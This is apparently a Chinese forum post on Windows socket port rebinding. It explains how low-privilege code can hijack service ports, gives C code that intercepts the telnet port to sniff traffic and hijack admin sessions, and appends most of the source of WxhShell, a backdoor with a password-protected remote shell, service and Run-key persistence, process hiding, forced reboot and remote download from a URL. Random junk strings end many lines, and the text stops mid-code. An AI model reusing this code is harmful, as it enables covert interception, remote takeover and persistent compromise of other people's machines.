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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6"-$WUlg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wb}-H-O  
+ <bj}"  
  saddr.sin_family = AF_INET; YSnh2 Bq  
L.;b( bFe  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K=f4<tP_  
p $Tk;;wm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p(yv  
| Y:`>2ev  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,3:f4e\<  
s#$t!F??9  
  这意味着什么?意味着可以进行如下的攻击: R_EU|a  
k{*EoV[.$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 * F!B4go  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Jn hdZa  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \,;glY=M!  
xw*e`9vAe  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  V!:!c]8F  
Jh+;+"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2}^=NUM\NX  
k^7!iOK2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -ssb|r  
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  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \Z5Wp5az},  
? 2}%Rb39  
  #include QSaDa@OV  
  #include Yc#Uu8f-  
  #include Z `F[0-  
  #include    hj];a,Br&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >Tf}aI+  
  int main() GgxPpS<ne  
  { e;6:U85LS  
  WORD wVersionRequested; "dpjxH=xO  
  DWORD ret; CaYb}.:AX  
  WSADATA wsaData; b`e_}^,c  
  BOOL val; Oti;wf G7o  
  SOCKADDR_IN saddr; u(zgKoF9A  
  SOCKADDR_IN scaddr; 4&E"{d >  
  int err; [P}Bq6;p  
  SOCKET s;  ]]p\1G  
  SOCKET sc; ij]UAJ}t  
  int caddsize; Lv+{@)  
  HANDLE mt; !w7/G  
  DWORD tid;   mc]+j,d  
  wVersionRequested = MAKEWORD( 2, 2 ); F w{:shC  
  err = WSAStartup( wVersionRequested, &wsaData ); '6zZ`Ll9  
  if ( err != 0 ) { -UEi  
  printf("error!WSAStartup failed!\n"); ^mC~<p P(  
  return -1; ztU"CRa8  
  } 2wpJ)t*PF  
  saddr.sin_family = AF_INET; P 0\`4Cr!  
   :[@rA;L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j+3\I>  
<?A4/18K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0^*,E/}P&  
  saddr.sin_port = htons(23); ,|c;x1|O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &/m^}x/_W  
  { u""26k51  
  printf("error!socket failed!\n"); JOuy_n  
  return -1; pbKmFweq  
  } emQc%wd{  
  val = TRUE; Qw_uwQZ)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KS#A*BRQ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &Sb)a  
  { Q>L(=j2t  
  printf("error!setsockopt failed!\n"); L)M{S3q,  
  return -1; l|+$4 Nb2  
  } l!gX-U%-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~AWn 1vFc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aMu6{u6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -f?  
n U=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Lvt3S .l  
  { nHF66,7t  
  ret=GetLastError(); ,|O6<u9  
  printf("error!bind failed!\n"); T}J)n5U}\  
  return -1; b81^756  
  } Qz=e'H  
  listen(s,2); NEIF1( :  
  while(1) V9/2y9u  
  { ku/vV+&O  
  caddsize = sizeof(scaddr); `i|!wD,=\  
  //接受连接请求 0++RxYFCL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PP! /WX  
  if(sc!=INVALID_SOCKET) tJ\v>s-f  
  { <c5g-*V:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ADF<5#I  
  if(mt==NULL) Wlg1t~1=  
  { zvGncjMkC  
  printf("Thread Creat Failed!\n"); #e=E  
  break; F,as>X#  
  } cGs& Kn;h  
  } PE;<0Cz\  
  CloseHandle(mt); ){mqo%{SO  
  } tVf):}<h  
  closesocket(s); f#Ud=& >j  
  WSACleanup(); KCpq<A%  
  return 0; 9b6U] z,  
  }   6W:]'L4!  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z Uj1vf6I  
  { +P+h$gQ  
  SOCKET ss = (SOCKET)lpParam; ^7Z? }tgU  
  SOCKET sc; >;"%Db  
  unsigned char buf[4096]; djoP`r  
  SOCKADDR_IN saddr; @-0mE_$[  
  long num; ltrti.&  
  DWORD val; ;d fIzi  
  DWORD ret; KXz7l\1Gb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ' Hj([N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~233{vh$=>  
  saddr.sin_family = AF_INET; ^N^s|c'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :3s^, g  
  saddr.sin_port = htons(23); }s"].Xm^2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jq#`cay!  
  { B^]Gv7-  
  printf("error!socket failed!\n"); n@H;*nI|  
  return -1; )x?)v#k  
  } h'GOO(  
  val = 100; w87$p821  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~-G_c=E?  
  { E:B<_  
  ret = GetLastError(); Piw i  
  return -1; YuHXm3[  
  } 9:3`LY3wW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hAds15 %C  
  { xFIzq  
  ret = GetLastError(); mBB"e"o  
  return -1; y"8,jm  
  } Z:<wB#G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~$//4kES  
  { ttB>PTg#  
  printf("error!socket connect failed!\n"); {~#PM>f  
  closesocket(sc); B7Zi|-F  
  closesocket(ss); vxi_Y\r=T  
  return -1; e\-,e+  
  } 8$RiFD ,  
  while(1) ']sj W'~  
  { A5\ Hq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 egr"og{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Hj`\Fm*A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9s7TLT k  
  num = recv(ss,buf,4096,0); q<^MC/]  
  if(num>0) De{ZQg)  
  send(sc,buf,num,0); QX&Y6CC`]  
  else if(num==0) e7-IqQA{3C  
  break; u"wWekB  
  num = recv(sc,buf,4096,0); '-XO;{,-R  
  if(num>0) C CLc,r>)  
  send(ss,buf,num,0); UUvCi+W  
  else if(num==0) bVa?yWb.  
  break; .kkhW8:  
  } 6]?W&r|0I  
  closesocket(ss); KW ZEi?  
  closesocket(sc); jS8B:>  
  return 0 ; )%kiM<})  
  }  M_%c9g@x  
Wi,)a{  
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========================================================== #W.vX=/*  
j/NX  
下边附上一个代码,,WXhSHELL 2}* 8( 32  
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========================================================== ;|$oz{Ll  
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#include "stdafx.h" .LnknjC  
5:5d=7WX  
#include <stdio.h> ^ uwth  
#include <string.h> <Ter\o5%  
#include <windows.h> <9:~u]ixt  
#include <winsock2.h> 9d( M%F  
#include <winsvc.h> (J%>{?"ij  
#include <urlmon.h> ?<\2}1  
Nz*,m'-1e  
#pragma comment (lib, "Ws2_32.lib") {.;qz4d`  
#pragma comment (lib, "urlmon.lib") >Y+m54EE  
p8?"}  
#define MAX_USER   100 // 最大客户端连接数 Oz&*A/si+3  
#define BUF_SOCK   200 // sock buffer JBZ1DZAWC  
#define KEY_BUFF   255 // 输入 buffer 3Z` wU  
:>_oOn[_  
#define REBOOT     0   // 重启 *DZ7,$LQ~D  
#define SHUTDOWN   1   // 关机 \}Iq-Je   
Y7I\<JG<  
#define DEF_PORT   5000 // 监听端口 0V^I.S/q  
tTub W=H  
#define REG_LEN     16   // 注册表键长度 CBpwtI>p  
#define SVC_LEN     80   // NT服务名长度 R(8?9-w  
%XZhSmlf  
// 从dll定义API _ yDDPuAi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f|F=)tJO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :qAX9T'{t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $"MVr5q6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :)T*:51{#  
kd]CV7(7  
// wxhshell配置信息 gf9U<J#&C  
struct WSCFG { "!eq~/nk  
  int ws_port;         // 监听端口 0_Elxc  
  char ws_passstr[REG_LEN]; // 口令 a'n17d&  
  int ws_autoins;       // 安装标记, 1=yes 0=no CPeu="[  
  char ws_regname[REG_LEN]; // 注册表键名 NpKyrXDJv  
  char ws_svcname[REG_LEN]; // 服务名 Ai^0{kF6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JL{fW>5y|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <r>Sj /w<D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2dHsM'ze  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x'OP0],#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" * {~`Lw)y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +9pock  
[?qzMFb  
}; [kckE-y  
vifw FPe  
// default Wxhshell configuration )54a' Hp  
struct WSCFG wscfg={DEF_PORT, '=\>n(%Q  
    "xuhuanlingzhe", n\<7`,  
    1, ~Cg7  
    "Wxhshell", >Bdh`Ot-!  
    "Wxhshell", /`nkz  
            "WxhShell Service", 5ug|crX  
    "Wrsky Windows CmdShell Service", ""|;5kJS4  
    "Please Input Your Password: ", ~3Zz.!F  
  1, EA9.?F  
  "http://www.wrsky.com/wxhshell.exe", B*Om\I  
  "Wxhshell.exe" V}7)>i$A  
    }; ~{-Ka>A  
?~.:C'  
// 消息定义模块 \&ZEIAe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G -K{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fE&s 6w&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }aI>dHL  
char *msg_ws_ext="\n\rExit."; x>tm[k  
char *msg_ws_end="\n\rQuit."; bmi",UZ:F  
char *msg_ws_boot="\n\rReboot..."; (!J;g|58  
char *msg_ws_poff="\n\rShutdown..."; #3{}(T7  
char *msg_ws_down="\n\rSave to "; v^F00@2I  
fo`R=|L[  
char *msg_ws_err="\n\rErr!"; h(J$-SUs  
char *msg_ws_ok="\n\rOK!"; RP[`\  
eH!V%dX  
char ExeFile[MAX_PATH]; >&R@L KP  
int nUser = 0; .J&89I]U  
HANDLE handles[MAX_USER]; i gjn9p&_  
int OsIsNt; 'irwecd8  
.3XiL=^~Qp  
SERVICE_STATUS       serviceStatus; /vi Ic %=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OI78wG  
Y6hV ;[\F  
// 函数声明 m\/)m]wR  
int Install(void); {Oq8A.daJ  
int Uninstall(void); !Fxn1Z,  
int DownloadFile(char *sURL, SOCKET wsh); m .(\u?J  
int Boot(int flag); ?m7i7Dz   
void HideProc(void); )Y'g;  
int GetOsVer(void); ; lrO?sm  
int Wxhshell(SOCKET wsl); 9(}d7y  
void TalkWithClient(void *cs); ycki0&n3  
int CmdShell(SOCKET sock); C.LAr~P  
int StartFromService(void); o"L8n(\  
int StartWxhshell(LPSTR lpCmdLine); tq@)J_7|  
,_w}\'?L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J kAd3ls  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w`+-xT%  
>"b\$",~6  
// 数据结构和表定义 gW4fwE^  
SERVICE_TABLE_ENTRY DispatchTable[] = &+ PVY>q  
{ %H&WihQ  
{wscfg.ws_svcname, NTServiceMain}, ydY 7 :D  
{NULL, NULL} #902x*Z'c"  
}; ZG#:3d*)  
Ie=gI+2  
// 自我安装 X%JyC_~<  
int Install(void) Uam %u  
{  iycceZ  
  char svExeFile[MAX_PATH]; K7(k_4  
  HKEY key; gi5X ,:[  
  strcpy(svExeFile,ExeFile); 8\:>;XG6f  
w L>*WLfR  
// 如果是win9x系统,修改注册表设为自启动 #Z `Tk)u/  
if(!OsIsNt) { C!+PBk[9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1=sL[I7<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C"0 VOb  
  RegCloseKey(key); $3&XM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ex*{iJ;\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KydAFxUb  
  RegCloseKey(key); On!+7is'  
  return 0; ,WnZ^R/n  
    } tQUKw@@Q  
  } `_ M+=*}  
} /uDcJ1u66  
else { L>E{~yh  
eLXL5&}`fh  
// 如果是NT以上系统,安装为系统服务 oTXIs4+G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yI07E "9  
if (schSCManager!=0)  ^4Xsdh5  
{ wTZ(vX*mK  
  SC_HANDLE schService = CreateService -wl&~}%M  
  ( f O+lD  
  schSCManager, #8M^;4N >[  
  wscfg.ws_svcname, h <$%y(lP  
  wscfg.ws_svcdisp, kX}sDvP3  
  SERVICE_ALL_ACCESS, c>3? T^=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U#iW1jPE2  
  SERVICE_AUTO_START, w,R6:*p5  
  SERVICE_ERROR_NORMAL, F|.tn`j]U  
  svExeFile, Xppb|$qp4H  
  NULL, J9j @V4  
  NULL, Xc" %-  
  NULL, `r3 klL,W'  
  NULL, Pw7uxN`  
  NULL 8==M{M/eM  
  ); u#^l9/tl  
  if (schService!=0) [cznhIvyO  
  { Y= =5\;-  
  CloseServiceHandle(schService); qIQ 61><  
  CloseServiceHandle(schSCManager); whP5 u/857  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vRf$#fBEQ  
  strcat(svExeFile,wscfg.ws_svcname); o.Y6(o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v.>K )%`#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R-OO1~W=  
  RegCloseKey(key); *f>\X[wN  
  return 0; J:ka@2>|  
    } zOFHdd ,"g  
  } kz6fU\U  
  CloseServiceHandle(schSCManager); Eaxsg  
} P{_%p<:V  
} ONy\/lu|  
c$BH`" <*  
return 1; ~!g2+^G7+P  
} 1-PlRQs.1  
4(oU88 z  
// 自我卸载 ]vs}-go  
int Uninstall(void) "%a<+D  
{ EEK!'[<,sE  
  HKEY key; s3Zt)xQ3  
e"bzZ!c&~V  
if(!OsIsNt) {  (#O"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M l@F  
  RegDeleteValue(key,wscfg.ws_regname); 4E2/?3D  
  RegCloseKey(key); `^'fS@VA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <%m1+%mA.  
  RegDeleteValue(key,wscfg.ws_regname); YX)Rs Vf  
  RegCloseKey(key); +TaxH;  
  return 0; h*!oHS~/l  
  } !~R<Il|B  
} nTwJR  
} ZnzO]  
else { /3SEu(d!  
_-543B}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zF>;7'\x  
if (schSCManager!=0) >$- YNZA   
{ t0@AfO.'1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n=F rv*"Z  
  if (schService!=0) 2fu<s^9dh  
  { )1Y?S;  
  if(DeleteService(schService)!=0) { P2aFn=f  
  CloseServiceHandle(schService); FBB<1({A  
  CloseServiceHandle(schSCManager); ;s3\Z^h4kd  
  return 0; ]d7A|)q  
  } n^hkH1vY  
  CloseServiceHandle(schService); 2@ 9?~?r  
  } pOn&D  
  CloseServiceHandle(schSCManager); D|m3. si  
} .s,04xW\  
} BN%cX 2j  
=7H\llL4BC  
return 1; GK1nGdT]  
} Y~{<Hs  
z~~pH9=c2  
// 从指定url下载文件 3BD&;.<r  
int DownloadFile(char *sURL, SOCKET wsh) Xa#.GrH6  
{ cb0rkmO  
  HRESULT hr; ")vtS}Ekt  
char seps[]= "/"; (hZNWQ0  
char *token; RN[x\",  
char *file; 5Ww,vSCV)  
char myURL[MAX_PATH]; !9KDdU  
char myFILE[MAX_PATH]; )[ZXPD  
#5{xWMp/0  
strcpy(myURL,sURL); phf{b+'#X  
  token=strtok(myURL,seps); ZX`x9/0&  
  while(token!=NULL) r2'K'?T3  
  { fiA8W  
    file=token; wEX<[#a-  
  token=strtok(NULL,seps); % 33O)<?  
  } V?"U)Y@Y  
x"R F[ d  
GetCurrentDirectory(MAX_PATH,myFILE); F {L#  
strcat(myFILE, "\\"); q. Jx|x  
strcat(myFILE, file); [hg9 0Q6  
  send(wsh,myFILE,strlen(myFILE),0); tKLeq(  
send(wsh,"...",3,0); !> +Lre@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >#;;g2UV  
  if(hr==S_OK) cQThpgha  
return 0; ^%Cd@!dk  
else Vh?vD:|  
return 1; {Ke IYjE  
kJOZ;X=9/  
} LK*9`dzv=G  
CPcUB4a%#  
// 系统电源模块 Ax~ i`  
int Boot(int flag) M.MQ?`_"b  
{ z2,NWmP|w  
  HANDLE hToken; K8BlEF`  
  TOKEN_PRIVILEGES tkp; #4LTUVH  
-]u>kjiIT  
  if(OsIsNt) { c?c\6*O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); # .(f7~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r1RM7y  
    tkp.PrivilegeCount = 1; =+T0[|gc(r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o_Y?s+~i[/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mr#.uhd.z  
if(flag==REBOOT) { ^z, B}Nz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V3VTbgF  
  return 0; uBg#zx  
} 8L/XZ)  
else { upk_;ae  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r<srTHGL o  
  return 0; bVN?7D(  
} iS.gN&\z^  
  } Bt$,=k  
  else { .:Wp9M  
if(flag==REBOOT) { #sjGju"#_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AOcUr)  
  return 0; &LB`  
} A(`Mwh+  
else { p^ROt'eQ<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :ntAU2)H  
  return 0; b{-|q6  
} a#CjGj)  
} ?g@X+!RB  
".#h$  
return 1; Em{;l:;(W  
} 3bo [34  
N;!!*3a9=  
// win9x进程隐藏模块 p*@t$0i  
void HideProc(void) ObreDv^,  
{ }>621L3 -  
la 0:jO5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DOkuT/+  
  if ( hKernel != NULL ) 6iEg]FI  
  { 'T7 3V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `}$bJCSF.n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]E DC s?,  
    FreeLibrary(hKernel); b~YIaD[Z  
  } 7'{Vh{.  
D97 vfC  
return; tk8\,!9Q  
} >T0`( #Lm  
s+&0Z3+  
// 获取操作系统版本 akCCpnX_d  
int GetOsVer(void) JdWav!PYm  
{ Wy/h"R\=  
  OSVERSIONINFO winfo; RVs=s}|>*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 10m|?  
  GetVersionEx(&winfo); h>!9N dzG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -'*<;]P+.  
  return 1; wPcEvGBN=  
  else \,v+ejhw  
  return 0; d:_;  
} mZM7 4!4X  
^7;s4q  
// 客户端句柄模块 ^/x\HGrw  
int Wxhshell(SOCKET wsl) 7+X~i@#rU  
{ })J}7@VPO  
  SOCKET wsh; =WZ@{z9J  
  struct sockaddr_in client;  H ="I=}  
  DWORD myID; j}(m$j'  
#<u;.'R  
  while(nUser<MAX_USER) x_C0=Q|K3  
{ {5d 5Y%&  
  int nSize=sizeof(client); kh#fUAt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ga S}>?qk  
  if(wsh==INVALID_SOCKET) return 1; fYh<S  
)t\aB_ =  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M,bs`amz  
if(handles[nUser]==0) ~$"2,&  
  closesocket(wsh); L*vKIP<EMM  
else S QGYH  
  nUser++; a1_o  
  } \ a(ce?C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  vP? T  
_)~VKA]""  
  return 0; )E^4U 9v),  
}  ~mi4V  
V RD^>Gi  
// 关闭 socket qE]e+S?57a  
void CloseIt(SOCKET wsh) Aq3\Q>klH)  
{ wp> z04  
closesocket(wsh); *vvm8ik  
nUser--; Z|ZB6gP>h1  
ExitThread(0); Q {BA`Q@V  
} J1~E*t^  
{ w sT  
// 客户端请求句柄 b`^Q ':^A  
void TalkWithClient(void *cs) uI%7jA~@  
{ ZrZDyXL  
S9r+Nsn  
  SOCKET wsh=(SOCKET)cs; W-/V5=?   
  char pwd[SVC_LEN]; c/v|e&q  
  char cmd[KEY_BUFF]; k6RVP: V  
char chr[1]; & 0WQF  
int i,j; aJA(UN45  
mw;4/ /R  
  while (nUser < MAX_USER) { ,u)jZ7  
Q>rr?L`  
if(wscfg.ws_passstr) { cGdYfi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nbf/WOCk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ot:}Ncq^\O  
  //ZeroMemory(pwd,KEY_BUFF); ; D/6e6  
      i=0; CS(2bj^6 D  
  while(i<SVC_LEN) { xSSEDfq  
K5 BL4N  
  // 设置超时 N fG9a~  
  fd_set FdRead; ?# _{h  
  struct timeval TimeOut; Gsb^gd  
  FD_ZERO(&FdRead); AovBKB $  
  FD_SET(wsh,&FdRead); $j<KXR  
  TimeOut.tv_sec=8; UXJblo#  
  TimeOut.tv_usec=0; } e+`Kxy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B%MdJ D>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c1jR j=\  
'@ Rk#=85Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3,6f}:CG  
  pwd=chr[0]; ~?HK,`0h>  
  if(chr[0]==0xd || chr[0]==0xa) { rVl 8?u y  
  pwd=0; s8>y&b.  
  break; ,qv\Y]  
  } /w(g:e  
  i++; "NGfT:HV  
    } :-JryiI  
8B?U\cfa^  
  // 如果是非法用户,关闭 socket 6uFw+Ya#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oeZuvPCl  
} y#iz$lX R  
sVw:d _ E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 62zu;p9m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s_VcC_A  
/]!2 k9u\  
while(1) { a{hc{  
lMvOYv  
  ZeroMemory(cmd,KEY_BUFF); z06,$OYz  
~nfOV*  
      // 自动支持客户端 telnet标准   86Q3d%;-yo  
  j=0; "IT7.!=@9  
  while(j<KEY_BUFF) { 6Jb0MX"AVr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xi[]8o  
  cmd[j]=chr[0]; ~a`[p\  
  if(chr[0]==0xa || chr[0]==0xd) { VYkh@j  
  cmd[j]=0; f?)7MR=  
  break; F!ztU8,  
  } [B)!  
  j++; b2UDPW  
    } $a*7Q~4  
j0; ~2W#G*  
  // 下载文件 Rq5'=L  
  if(strstr(cmd,"http://")) { '%[ Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  c2M  
  if(DownloadFile(cmd,wsh)) yT@Aj;X0v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?0qD(cfx<  
  else {jB> ]7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _90D4kGU  
  } },l i'r#p  
  else { )0exGx+:  
H dqB B   
    switch(cmd[0]) { P>X[}  
  x'x5tg  
  // 帮助 M8X6!"B$Y  
  case '?': { b},2A'X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JfN '11,$  
    break; $lf/Mg_H  
  } H@ 1'El\9  
  // 安装 MOaI~xZ  
  case 'i': { /GO-  
    if(Install()) |gO7`F2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0NU%z.(%s  
    else @-dGZ 5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z&Ob,Ru  
    break; 3)EJws!  
    } zK5&,/  
  // 卸载 qhGz2<}_j  
  case 'r': { LVB wWlJ  
    if(Uninstall()) =SLG N`m3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1,+<|c)T?  
    else vYV!8o.I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $WIVCp  
    break; r&4Xf# QD6  
    } E,6|-V;?  
  // 显示 wxhshell 所在路径 i|1*bZ6'  
  case 'p': { c1k[)O~  
    char svExeFile[MAX_PATH]; T$D(Y`zdn  
    strcpy(svExeFile,"\n\r"); #]jl{K\f#X  
      strcat(svExeFile,ExeFile); LsWD^JE.  
        send(wsh,svExeFile,strlen(svExeFile),0); #4bT8kq  
    break; 0!3. .5==  
    } tC'E#2  
  // 重启 ck{S  
  case 'b': { 1- s(v)cxh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p$ \>3\  
    if(Boot(REBOOT)) D-BT`@~l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i"a3POV>  
    else { @bA5uY!  
    closesocket(wsh); J]TqH`MA  
    ExitThread(0); e|{R2z"^  
    } 'd$RNqe  
    break; Q)0KYKD+@  
    } &'>m;W  
  // 关机 F `o9GLxM}  
  case 'd': { (-WRZLOQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YYn8!FIe  
    if(Boot(SHUTDOWN)) v>wN O  
